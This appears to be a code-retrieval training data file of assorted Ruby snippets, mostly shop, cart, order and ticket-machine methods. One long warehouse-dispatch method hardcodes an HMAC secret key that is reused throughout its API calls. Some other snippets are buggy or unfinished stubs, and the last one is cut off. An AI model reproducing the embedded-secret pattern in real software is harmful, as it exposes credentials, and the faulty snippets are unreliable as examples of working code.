{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def zuruecksetzen()\n end", "def show\n @basket.set_price\n if params[:st]\n if @basket.address || @basket.type_of_delivery == '2'\n\n if params[:st]==1\n p=0\n @basket.cart_items.each do |c|\n if c.amount.to_i > c.dvd.amount\n p=1\n end\n end\n if p==0\n @basket.cart_items.each do |c|\n c.dvd.amount= c.dvd.amount- c.amount.to_i\n c.dvd.amount.save\n end\n else\n redirect_to @basket, notice: 'Нет в наличии'\n end\n else\n @basket.status=params[:st]\n @basket.save\n end\n else\n redirect_to @basket, notice: 'Не указан адрес'\n end\n end\n\n end", "def rental_box\n @title_page = \"Sewa Dekoder\"\n @memberships = Membership.packages_by_category('other')\n @upgrades = Membership.where('name LIKE ? OR name LIKE ?', '%universe%', '%star%')\n\n @order = order\n if order.items.where('membership_id IN (?)', @memberships.map(&:id)).blank?\n single_decoder = @memberships.where('memberships.name LIKE ?','1 %').first\n order.add_item(single_decoder, session_cart,session[:current_price_id])\n end\n end", "def choice_a_shop\n sell_item\n end", "def schubert; end", "def suivre; end", "def verdi; end", "def products\n end", "def goods\n @shop_goods\n end", "def shipped\n \n end", "def shop_products\n products.shop_products\n end", "def show\n # return redirect_to finalize_search_path(Search.create_unfinalized(current_user, @shop)) unless can_show?\n @cart = Cart.new_with_bookings(current_search)\n I18n.locale = admin_preview_language_abbr if !pretending_to_be_customer?\n end", "def shop_list\n {}\nend", "def show\n increase_pv(@shop)\n end", "def debo_ir_a_carcel\n if (super)\n return !pagar_fianza\n else\n return true \n # Lo hemos hecho así, porque pensamos que si tiene carta y llama a \n # pagar fianza y tiene el saldo suficiente, se restaría dinero\n # del saldo aún teniendo la carta libertad\n end\n end", "def make_item_list\n @data = $game_temp.forge_shop.products\n end", "def getShop\n @shop\n end", "def variant_full_price(variant)\nproduct = variant.product\nunless product.variants.active(current_currency).all? { |v| v.price == product.price }\nSpree::Money.new(variant.price, { currency: current_currency }).to_html\nend\nend", "def order1 \n puts(\"\\n\\n- - - - - - - - - - - - - - - -\\n[SHOP] Executing order 1: ABCDABA should be $13.25\\n\\n\") \n @shop.reset_order\n @shop.add_product_to_order_by_name('A')\n @shop.add_product_to_order_by_name('B')\n @shop.add_product_to_order_by_name('C')\n @shop.add_product_to_order_by_name('D')\n @shop.add_product_to_order_by_name('A')\n @shop.add_product_to_order_by_name('B')\n @shop.add_product_to_order_by_name('A')\nend", "def karte_drucken()\n # TODO ÄNDERN\n if !tarif_gewaehlt?\n puts \"Kein Tarif wurde gewählt.\"\n else\n if @eingeworfen <= @tarif.betrag\n puts \"Der offener Betrag: #{@tarif.betrag - @eingeworfen }\"\n else\n puts(\"------------------\")\n puts(\"- Cinema Magico -\")\n puts(\"- Phantastische Tierwesen\")\n # TODO diese Zeile ändern\n puts(\"- Preis \" + @tarif.betrag().to_s + \" Euro\") # vordefiniert to_s , von Integer zum String wandeln\n puts(\"- Bezahlt \" + @eingeworfen.to_s + \" Euro\") # vordefiniert to_s , von Integer zum String wandeln\n puts(\"------------------\")\n # die Gesamtsumme, mit dem der Automat nach der letzten Leerung\n # gefuettert wurde\n @eingeworfen -= @tarif.betrag\n @summe_automat = @summe_automat + @tarif.betrag\n @tarif = nil\n return\n end\n end\n\n end", "def intelligenter_zug(spielfeld, aktueller_spieler)\n zug = nil\n\n spieler = spielfeld.spieler\n gegner = nil\n for s in spieler\n if s.name != aktueller_spieler.name\n gegner = s\n break\n end\n end\n\n # 1. Regel: Zuerst nach einer Gewinnsituation suchen\n for reihe in Spielfeld::reihen\n besetzt, frei = spielfeld.reihen_status(reihe)\n\n # Wenn der aktuelle Spieler in einer Reihe bereits zwei Felder\n # besetzt hält und das dritte frei ist, dann natürlich das nehmen\n if (frei.size == 1) and (besetzt[aktueller_spieler].size == 2)\n zug = Zug.new(aktueller_spieler, frei[0])\n break # nicht weitersuchen\n end\n end\n\n if zug.nil?\n # 2. Regel: Suche dann nach den Reihen, in denen der Gegner bereits\n # genau 2 Felder besetzt hat und das dritte Feld noch frei ist.\n for reihe in Spielfeld::reihen\n besetzt, frei = spielfeld.reihen_status(reihe)\n\n # Gefährlich, wenn Gegner zwei besetzt hält. Wie in der vorherigen\n # Lektion gelernt, erhält man zum Index des aktuellen Spielers\n # in der Spielerliste den Index des Gegners mit der Bitoperation 1^wer\n if (frei.size == 1) and (besetzt[gegner].size == 2)\n # Jetzt muss der Spieler unbedingt das eine freie Feld besetzen!\n # Andernfalls kann der Gegner im nächsten Zug gewinnen.\n zug = Zug.new(aktueller_spieler, frei[0])\n break # nicht weitersuchen\n end\n end\n end\n\n # Eckensituation bestimmen\n ecken = {\n 1 => 0, # links oben\n 3 => 0, # rechts oben\n 7 => 0, # links unten\n 9 => 0 # rechts unten\n }\n gegen_ecken = [[1, 9], [9, 1], [3, 7], [7, 3]]\n for z in spielfeld.zuege\n feld = z.nummer\n # Gegner besetzt die Ecke, wenn:\n # feld ist eine Ecke und Gegner besetzt sie\n if (ecken[feld] != nil) and (z.spieler == gegner)\n # Markiere Ecke als vom Gegner besetzt\n ecken[feld] = 1\n end\n end\n\n # 3. Regel: Immer in die Mitte setzten, falls dort frei ist\n # Vorsicht vor der XOX Situation an der Diagonale!\n if zug.nil?\n frei = spielfeld.freie_felder\n mitte = 5\n if frei.include?(mitte)\n zug = Zug.new(aktueller_spieler, mitte)\n else\n # Aha, Mitte ist bereits besetzt.\n # Sofern sie vom aktuellen Spieler besetzt ist, dann nach der XOX\n # Situation Ausschau halten und den nächsten Zug nicht in eine Ecke setzen.\n # XOX (oder OXO) Situation besteht, wenn\n # Ecke 1 und 9 vom Gegner besetzt und aktueller Spieler auf 5 oder\n # Ecke 3 und 7 vom Gegner besetzt und aktueller Spieler auf 5.\n for ecken_paar in gegen_ecken\n besetzt, frei_ecken = spielfeld.reihen_status([ecken_paar[0], mitte, ecken_paar[1]])\n if besetzt[gegner].include?(ecken_paar[0]) and besetzt[gegner].include?(ecken_paar[1])\n if besetzt[aktueller_spieler].include?(mitte)\n # Jetzt also nicht in eine freie Ecke setzen, sondern auf\n # die Felder 2, 4, 6 oder 8, sofern sie frei sind.\n xox_felder = [2, 4, 6, 8]\n for f in xox_felder\n if !frei.include?(f)\n xox_felder.delete(f)\n end\n end\n # Von den freien Ausweichfeldern zufällig eines nehmen\n feld = zufalls_feld(xox_felder)\n if feld != nil\n zug = Zug.new(aktueller_spieler, feld)\n break\n end\n end\n end\n end\n\n end\n end\n\n # 4. Regel: Verteidige gegenüberliegende Ecke\n frei = spielfeld.freie_felder\n if zug.nil?\n # Wenn Ecke 1 besetzt, dann setze auf 9, oder umgekehrt (sofern frei).\n # Wenn Ecke 3 besetzt, dann setze auf 7, oder umgekehrt (sofern frei).\n for ecken_paar in gegen_ecken\n if (ecken[ecken_paar[0]] > 0) and (frei.include?(ecken_paar[1]))\n zug = Zug.new(aktueller_spieler, ecken_paar[1])\n break # nicht weitersuchen\n end\n end\n end\n\n # 5. Regel: Setze in irgendeine freie Ecke.\n # Verwende Variablen 'frei' und 'ecken' von oben\n if zug.nil?\n for ecke in ecken.keys\n if frei.include?(ecke)\n zug = Zug.new(aktueller_spieler, ecke)\n break # nicht weitersuchen\n end\n end\n end\n\n # Andernfalls Zufallszug machen\n if zug.nil?\n zug = zufalls_zug(spielfeld, aktueller_spieler)\n end\n\n zug\n end", "def karte_drucken()\n if !tarif_gewaehlt?()\n puts (\"Es wurde noch kein Tarif gewählt. Bitte wählen Sie zuerst einen Tarif aus.\")\n elsif @tarif - @eingeworfen > 0\n offener_betrag = @tarif - @eingeworfen\n puts (\"Sie müssen noch \" + offener_betrag.to_s() + \" Euro einzahlen.\")\n else\n kartenpreis = @tarif\n\n puts(\"------------------\")\n puts(\"- Cinema Magico -\")\n puts(\"- Phantastische Tierwesen\")\n # TODO diese Zeile ändern\n puts(\"- Preis \" + @tarif.to_s + \" Euro\")\n puts(\"- Bezahlt \" + @eingeworfen.to_s + \" Euro\")\n puts(\"------------------\")\n # die Gesamtsumme, mit dem der Automat nach der letzten Leerung\n # gefuettert wurde\n wechsel_geld()\n @summe_automat += kartenpreis\n @tarif = nil\n return\n end\n end", "def buy_product\n products = @seller.show_product_info \n product_buy = @view.buy_product(products)\n @total_price = @seller.save_buy_a_product(product_buy)\n @view.buy_status(@total_price)\n input = @view.menu(\"2\")\n seller_actions(input) \n end", "def moverA_Despacho oc\n #sku = Integer(params[:sku])\n #cantidad = Integer(params[:cantidad])\n #oc = params[:oc]\n idDespacho = (Almacen.find_by depacho:true).almacenId\n @id = idDespacho\n sku = (((Orden.find_by idOrden: oc).sku).strip).to_i\n cantidad = (((Orden.find_by idOrden: oc).cantidad).strip).to_i\n puts cantidad\n cliente = (Orden.find_by idOrden: oc).cliente\n cantidadBodega = ((Inventario.find_by sku: sku).cantidadBodega).to_i\n cantidadBodega = cantidadBodega - cantidad\n (Inventario.find_by sku: sku).update(cantidadBodega: cantidadBodega)\n cantidadVendida = ((Inventario.find_by sku: sku).cantidadVendida).to_i\n cantidadVendida = cantidadVendida - cantidad\n (Inventario.find_by sku: sku).update(cantidadVendida: cantidadVendida)\n # producto = ((Inventario.find_by sku: sku).cantidadBodega).to_i - ((Inventario.find_by sku: sku).cantidadVendida).to_i\n # if sku == 19\n # StockItem.find(1).update(count_on_hand:producto)\n # elsif sku == 27\n # StockItem.find(2).update(count_on_hand:producto)\n # elsif sku == 40\n # StockItem.find(3).update(count_on_hand:producto)\n # elsif sku == 45\n # StockItem.find(4).update(count_on_hand:producto)\n # elsif sku == 47\n # StockItem.find(5).update(count_on_hand:producto)\n # end\n if cliente == 'internacional'\n #Vemos si tenemos lo suficiente en el almacén de despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho}}\n contenido = JSON.parse temp\n i=0\n necesario = cantidad\n restante = cantidad\n while contenido[i].nil? == false do\n sku_ = Integer(contenido[i][\"_id\"])\n total = Integer(contenido[i][\"total\"])\n if sku_ == sku\n puts 'ehtra aca'\n if total >= cantidad\n necesario = 0\n restante = 0\n while cantidad > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => cantidad}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n puts cantidad\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n cantidad -= k\n end\n else\n necesario = cantidad - total\n restante = cantidad - total\n while total > 0\n #Despachamos lo que teniamos en despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => total}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n total -= k\n end\n #@necesario = necesario\n end\n else\n #necesario = cantidad\n #restante = cantidad\n end\n i += 1\n end\n while necesario > 0 do\n i = Almacen.first.id\n #recorremos los almacenes buscando el producto\n nAlmacenes = Almacen.last.id\n while i <= nAlmacenes \n id = Almacen.find(i).almacenId\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + id\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id}}\n contenido = JSON.parse temp\n j=0\n while contenido[j].nil? == false do\n sku_ = Integer(contenido[j][\"_id\"])\n total = Integer(contenido[j][\"total\"])\n if sku_ == sku && id != idDespacho\n #Encontramos el producto\n signature = 'GET' + id.to_s + sku_.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n if necesario != 0\n puts necesario\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id, :sku => sku_, :limit => necesario}}\n productos = JSON.parse temp\n @productos = productos\n puts productos\n k = 0\n while k < productos.length\n idProducto = productos[k][\"_id\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStock', {:productoId => idProducto, :almacenId => idDespacho}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n necesario -= k\n end \n end\n j += 1\n end\n i += 1\n end \n end\n #Enviamos lo restante\n while restante > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => restante}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n restante -= k\n end\n\n #(Orden.find_by idOrden: oc).update(estado: \"despachada\")\n #Aquí termina el if internacional \n else\n almacenRecepcion = (IdGrupoProduccion.find_by idGrupo: cliente).idBodegaRecepcion\n #Vemos si hay lo suficiente en el almacén de despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho}}\n contenido = JSON.parse temp\n i=0\n necesario = cantidad\n restante = cantidad\n while contenido[i].nil? == false do\n sku_ = Integer(contenido[i][\"_id\"])\n total = Integer(contenido[i][\"total\"])\n if sku_ == sku\n if total >= cantidad\n necesario = 0\n restante = 0\n while cantidad > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => cantidad}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n puts cantidad\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n cantidad -= k\n end\n else\n necesario = cantidad - total\n restante = cantidad - total\n while total > 0\n #Despachamos lo que teniamos en despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => total}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n total -= k\n end\n #@necesario = necesario\n end\n else\n necesario = cantidad\n restante = cantidad\n end\n i += 1\n end\n while necesario > 0 do\n i = Almacen.first.id\n #recorremos los almacenes buscando el producto\n nAlmacenes = Almacen.last.id\n while i <= nAlmacenes \n id = Almacen.find(i).almacenId\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + id\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id}}\n contenido = JSON.parse temp\n j=0\n while contenido[j].nil? == false do\n sku_ = Integer(contenido[j][\"_id\"])\n total = Integer(contenido[j][\"total\"])\n if sku_ == sku && id != idDespacho\n #Encontramos el producto\n signature = 'GET' + id.to_s + sku_.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n if necesario != 0\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id, :sku => sku_, :limit => necesario}}\n productos = JSON.parse temp\n @productos = productos\n puts productos\n k = 0\n while k < productos.length\n idProducto = productos[k][\"_id\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStock', {:productoId => idProducto, :almacenId => idDespacho}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n necesario -= k\n end \n end\n j += 1\n end\n i += 1\n end \n end\n #Enviamos lo restante\n while restante > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => restante}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n restante -= k\n end\n #(Orden.find_by idOrden: oc).update(estado: \"despachada\")\n end\n\n end", "def fix\n auto_shop.fix_vehicle\n end", "def fix\n auto_shop.fix_vehicle\n end", "def product_info_seller\n products = @seller.show_product_info \n choice = @view.display_info_product(products)\n choice == \"1\" ? buy_product : input = @view.menu(\"2\") \n seller_actions(input)\n end", "def name\n rpg_shop.name\n end", "def attemp_buying\n\n end", "def show\n @shoppings = Shopping.all.where(:usage_id => params[:id])\n @price = 0\n @shoppings.each do |s|\n @price = @price + s.tag.item.price.tr('۰۱۲۳۴۵۶۷۸۹','0123456789').to_i\n # .tr!()\n end\n end", "def check_if_shop_empty\n if @list_item.empty?\n $game_variables[::Yuki::Var::TMP1] = (@what_was_buyed.empty? ? -1 : 3)\n @force_close = true\n update_mouse(false)\n end\n end", "def populate\n order = current_order(create_order_if_necessary: true)\n variant = Spree::Variant.find(params[:variant_id])\n quantity = params[:quantity].to_i\n options = params[:options] || {}\n direccion = params[:direccion]\n aux = variant.product_id\n if aux == 1\n sku = 19\n elsif aux == 2\n sku = 27\n elsif aux == 3\n sku = 40\n elsif aux == 4\n sku = 45\n elsif aux == 5\n sku = 47\n end\n # 2,147,483,647 is crazy. See issue #2695.\n if quantity.between?(1, 2_147_483_647)\n if quantity <= (StockItem.find_by id: aux).count_on_hand\n begin\n order.contents.add(variant, quantity, options)\n rescue ActiveRecord::RecordInvalid => e\n error = e.record.errors.full_messages.join(\", \")\n end\n else\n error = Spree.t(:please_enter_reasonable_quantity)\n end\n else\n error = Spree.t(:please_enter_reasonable_quantity)\n end\n\n if error\n flash[:error] = error\n redirect_back_or_default(spree.root_path)\n else\n total = NuestroProducto.find(aux).precio * quantity\n factura = RestClient.put 'http://moto.ing.puc.cl/facturas/boleta', {:proveedor => '572aac69bdb6d403005fb042', :cliente => 'b2c', :total => total}\n facturaParseada = JSON.parse factura\n boleta = facturaParseada[\"_id\"]\n $idBoleta = boleta\n $iva = facturaParseada[\"iva\"]\n iva = $iva\n $montoBruto = facturaParseada[\"bruto\"]\n bruto = $montoBruto\n $total = facturaParseada[\"total\"]\n total = $total\n urlOk = 'http://integra1.ing.puc.cl/spree/orders/confirmarCompra/' + boleta\n urlFail = 'http://integra1.ing.puc.cl/cancelacion'\n url = 'http://integracion-2016-prod.herokuapp.com/web/pagoenlinea?callbackUrl='+urlOk+'&cancelUrl='+urlFail+'&boletaId=' + boleta\n redirect_to url\n #precio = NuestroProducto.find(aux).precio\n #moverA_Despacho boleta, direccion, quantity, sku, precio\n Ticket.create(idBoleta:boleta, direccion:direccion, sku:sku, cantidad:quantity, iva:iva, bruto:bruto, total:total)\n end\n end", "def check_shop_details\n\t \tunless @shop.domain.present? && @shop.email.present? && @shop.currency_symbol.present? && @shop.currency.present?\n \t\tcurrency_symbol = ISO4217::Currency.from_code(@current_shop.currency).symbol\n\t \t\t@shop.update(email: @current_shop.email,domain: @current_shop.domain,currency_symbol: currency_symbol,currency: @current_shop.currency)\n\t \tend\n\t end", "def rpg_shop\n $data_shops[@shop_id]\n end", "def pets_sold(shop)\n return shop[:admin][:pets_sold]\nend", "def visible_on_catalog?\n #self.variants.each do |variant|\n # if variant.stock > 0\n # return true\n # end\n # false\n #end\n\n #contador = 0 \n #self.variants.each do |variant|\n # contador = contador + variant.stock\n #end\n\n #if contador > 0 \n # false\n #else\n # true\n #end\n\n #forma corta\n total_stock = self.variants.map(&:stock).inject(0,&:+)\n (total_stock > 0)\n\n end", "def promotion\r\n\r\n end", "def checkout\n\ttotal = shopping_cart.inject {|sum, item| sum + item.price}\n\n\t...\nend\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>END>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>", "def catalog; end", "def sell\n \t\t\n \tend", "def market\n end", "def sales\n end", "def avail_products\n @products.each_with_index do |product, index|\n print \"#{index + 1}. #{product[:product]} - \"\n puts \"$#{product[:price]}\"\n end\n puts \"----------------\"\n add_to_cart\nend", "def avail_products\n @products.each_with_index do |product, index|\n print \"#{index + 1}. #{product[:product]} - \"\n puts \"$#{product[:price]}\"\n end\n puts \"----------------\"\n add_to_cart\nend", "def sell_pet_to_customer(shop,the_pet,the_customer)\n if the_pet != nil\n add_pet_to_customer(the_customer,the_pet)\n shop[:admin][:pets_sold] +=1\n remove_customer_cash(the_customer,the_pet[:price])\n add_or_remove_cash(shop,the_pet[:price])\n # else\n # shop[:admin][:pets_sold] +=1\n end\nend", "def order3\n puts(\"\\n\\n- - - - - - - - - - - - - - - -\\n[SHOP] Executing order 3: ABCD should be $7.25\\n\\n\") \n @shop.reset_order\n @shop.add_product_to_order_by_name('A')\n @shop.add_product_to_order_by_name('B')\n @shop.add_product_to_order_by_name('C')\n @shop.add_product_to_order_by_name('D')\nend", "def sell_bonus\n rpg_shop.sell_bonus\n end", "def show\n # friendly id\n @shop = Shop.friendly.find(params[:id])\n\n # sort products\n @shopProducts = Product.where(shop_id: @shop.id)\n if params[:filter].present?\n if params[:filter] == 'name'\n @shopProducts = @shopProducts.order('name ASC')\n elsif params[:filter] == 'date'\n @shopProducts = @shopProducts.order('updated_at DESC')\n elsif params[:filter] == 'price'\n @shopProducts = @shopProducts.order('price DESC')\n elsif params[:filter] == 'priceA'\n @shopProducts = @shopProducts.order('price ASC')\n end\n else\n @shopProducts = @shopProducts.order('updated_at DESC')\n end\n\n @shopProducts = @shopProducts.page(params[:page]).per(15)\n\n # create View\n if current_user\n @view = View.find_or_initialize_by(\n shop_id: @shop.id,\n user_id: current_user.id\n )\n @view.updated_at = Time.now\n @view.save\n end\n\n end", "def vertikal_bewegen(anzahl_punkte)\n @fuss.vertikal_bewegen(anzahl_punkte)\n @stiel.vertikal_bewegen(anzahl_punkte)\n @schirm.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl1.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl2.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl3.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl4.vertikal_bewegen(anzahl_punkte)\n end", "def discount\n @shop.dig('discount_de')\n end", "def order2\n puts(\"\\n\\n- - - - - - - - - - - - - - - -\\n[SHOP] Executing order 2: CCCCCCC should be $6.00\\n\\n\") \n @shop.reset_order\n 7.times { @shop.add_product_to_order_by_name('C') }\nend", "def product_information\n super\n end", "def has_shopped?\n self.points_entries.purchases.count > 0\n end", "def visible_on_catalog?\n contador = 0\n self.variants.each do |v|\n contador += v.stock\n end\n\n (contador > 0) ? false : true\n end", "def sku; (ShopProduct.to_sku(slug) rescue ''); end", "def checkout_shopping_cart\n\tputs \"------------------------------------ ITEMS PURCHASED ------------------------------------\"\n\n\t# Displays all the items\n\t@shopping_cart.items.each_with_index do |item, index|\n\t\t# Displays the item\n\t\tputs \"(#{index+1}) Name: #{item.name} \\n\"\n\t\tputs \"Price: $#{item.price}\\n\"\n\t\tputs \"Shipping Cost: $#{item.shipping_cost}\\n \\n\"\n\tend\n\tputs \"-----------------------------------------------------------------------------------------\"\n\tputs \"TOTAL Price: 